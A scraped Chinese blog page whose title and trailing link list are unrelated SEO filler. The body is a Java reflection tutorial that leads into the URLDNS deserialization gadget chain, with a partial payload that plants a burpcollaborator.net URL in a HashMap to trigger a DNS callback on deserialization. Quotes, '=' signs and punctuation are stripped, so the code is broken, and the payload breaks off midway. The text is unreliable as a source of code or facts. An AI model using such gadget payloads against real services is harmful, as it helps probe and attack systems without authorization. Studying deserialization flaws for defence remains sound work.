当前位置: 首页 > news >正文

织梦企业门户网站宝塔搭建wordpress网站

织梦企业门户网站,宝塔搭建wordpress网站,关于旅游网站建设的方案,网站名称和备案公司名称不一样反射是大多数语言里都必不不可少的组成部分#xff0c;对象可以通过反射获取他的类#xff0c;类可以通过反射拿到所有方法#xff08;包括私有#xff09;#xff0c;拿到的方法可以调用#xff0c;总之通过“反射”#xff0c;我们可以将Java这种静态语言附加上动态特…反射是大多数语言里都必不不可少的组成部分对象可以通过反射获取他的类类可以通过反射拿到所有方法包括私有拿到的方法可以调用总之通过“反射”我们可以将Java这种静态语言附加上动态特性。 什么是反射 java的反射是指在运行状态中对于任意一个类都能够知道这个类所有的属性和方法并且对于任意一个对象。 基本形式 public void execute(String className, String methodName) throws Exception { Class clazz Class.forName(className); clazz.getMethod(methodName).invoke(clazz.newInstance()); }上面的例子中我演示了几个在反射里极为重要的方法获取类的方法 forName实例例化类对象的方法 newInstance获取函数的方法 getMethod执行函数的方法 invoke 反射的作用 让Java具有动态性修改已有对象的属性动态生成对象动态调用方法操作内部类和私有方法 在反序列化漏洞中的应用 定制需要的对象通过invoke调用除了同名函数以外的函数通过class类创建对象引入不能序列化的类 java反射举例 此处引用白日梦组长的例子具体讲解一下反射。 先写一个Person作为我们下面演示的原型类 public class Person { private String name; public int age; ​ public void act(){ System.out.println(test); } Override public String toString() { return Persion{ name name \ , age age }; } ​ public String getName() { return name; } ​ public void setName(String name) { this.name name; } ​ public int getAge() { return age; } ​ public void setAge(int age) { this.age age; } ​ public Person() { } ​ public Person(String name, int age) { this.name name; this.age age; } }获取原型类 使用forName方法 Class c Class.forName(Person);在此也写一种基于ClassLoader的动态类加载方式 this.getClass().getClassLoader().loadClass(Person);从原型class里面实例化对象 利用构造函数实例化 Constructor constructor c.getConstructor(String.class,int.class); Person p1 (Person) constructor.newInstance(abc,22);我们来逐行写一下分析 Constructor constructor c.getConstructor(String.class,int.class); 这一行是为了获取原型类中重载的构造方法 public Person(String name, int age) { this.name name; this.age age; } ​ 对构造方法进行传参实例化一个对象 Person p1 (Person) constructor.newInstance(abc,22); 我们可以打印一下p1看一下返回结果获取类里面的属性 private String name; public int age;public Field ageField c.getField(age); ageField.set(p1,11);private Field nameField c.getDeclaredField(name); nameField.setAccessible(true); nameField.set(p1,xinyuan);获取类方法 Method actmethod c.getMethod(act,String.class); actmethod.invoke(p1,SKyMirror);getMethod 与上面的获取构造函数类似第一个参数是函数名第二个是传参的类型 invoke方法第一个传入对象第二个是传入参数值 利用URLDNS反射 这条链子算是反射的一个简单应用。 利用点 URL这个类重写了hashCode方法导致在执行hashCode的时候此利用点不能命令执行但是会请求DNS所以被用来验证是否存在反序列化漏洞。 源码如下 可以看到当我们调用一次hashCode方法他会对传进去的URL对象发起请求即我们如果去DNSLOG申请一个地址根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。 URL这个类实现了java.io.Serializable可以进行序列化的操作。 因此在这里我们可以验证一下我们上面的想法。 链子 这个链子也比较短比较简单主要是利用HashMap来执行hashCode方法 HashMap实现了Serializable可以序列化此处注意反序列化时HashMap的readObject方法 我们跟进一下hash方法 key参数可控key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象即可在反序列化的时候调用到此方法从而触发整个链子。 有一点需要注意我们在序列化的时候进行的put传参会修改掉传入的URL对象的hashCode的值因为hashCode值不等于-1从而导致无法正常触发下面的方法即无法触发DNS请求。 同时在正常put传参的时候会执行一次DNS请求所以我们在put传参之前修改hashCode的值不为-1就行传参之后修改hashCode为-1在反序列化的时候就可以正常执行了。 payload如下 public static void main(String[] args) throws Exception{ HashMap URL,Integer hashMap new HashMap(); URL u new URL(http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/); Class c u.getClass(); //在进行put方法传参之前修改URL对象的hashCode值 Field hashcodeField c.getDeclaredField(hashCode); hashcodeField.setAccessible(true); hashcodeField.set(u,123); ​ 最后 对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。 同时每个成长路线对应的板块都有配套的视频提供 当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。 因篇幅有限仅展示部分资料有需要的小伙伴可以【扫下方二维码】免费领取
http://www.w-s-a.com/news/775125/

相关文章:

  • 网站为什么没有排名了11月将现新冠感染高峰
  • 网站开发维护专员岗位职责辽阳企业网站建设
  • 做外国订单有什么网站网站设计论文提纲
  • 商城网站建设报价方案导师让做网站
  • 清远市企业网站seo联系方式动易官方网站
  • 手机上怎么做能打开的网站一级域名和二级域名跨域
  • 网站首页效果图wordpress 在线教育
  • 电商网站开发团队广西桂林商贸旅游技工学校
  • 网站模板文件怎么下载东莞常平镇邮政编码
  • 建网站需要什么wordpress误删的后果
  • wordpress无插件实现网站地图做阿里巴巴网站店铺装修费用
  • 英文互动网站建设南宁住房和城乡建设局网站
  • 威海微网站建设乐清建网站哪家强
  • 网站和app的开发成本saas系统开发教程
  • ps切片工具做网站大气简洁网站
  • 网至普的营销型网站建设wordpress邮箱验证插件下载
  • 找权重高的网站方法张家港早晨网站建设
  • WordPress数据库添加管理员关键词优化举例
  • 河南国基建设集团--官方网站wordpress qode
  • 做农村电子商务的网站有哪些内容静态网站模板古典
  • 导航网站设计方案个人网站推广方法
  • 网站排名易下拉教程防wordpress花园
  • 计算机网站建设 是什么意思现在网站建站的主流语言是什么
  • php网站跟随导航西安百姓网免费发布信息网
  • 濮阳做公司网站html5 特效网站
  • ppt设计器怎么打开深圳seo网络推广营销
  • 建设银行网站用360浏览器建设信用卡中心网站
  • 创建公司网站 教程广州建设局
  • 详述网站建设的过程简答题ui培训设计怎么样
  • 动易网站官网ppt主题大全素材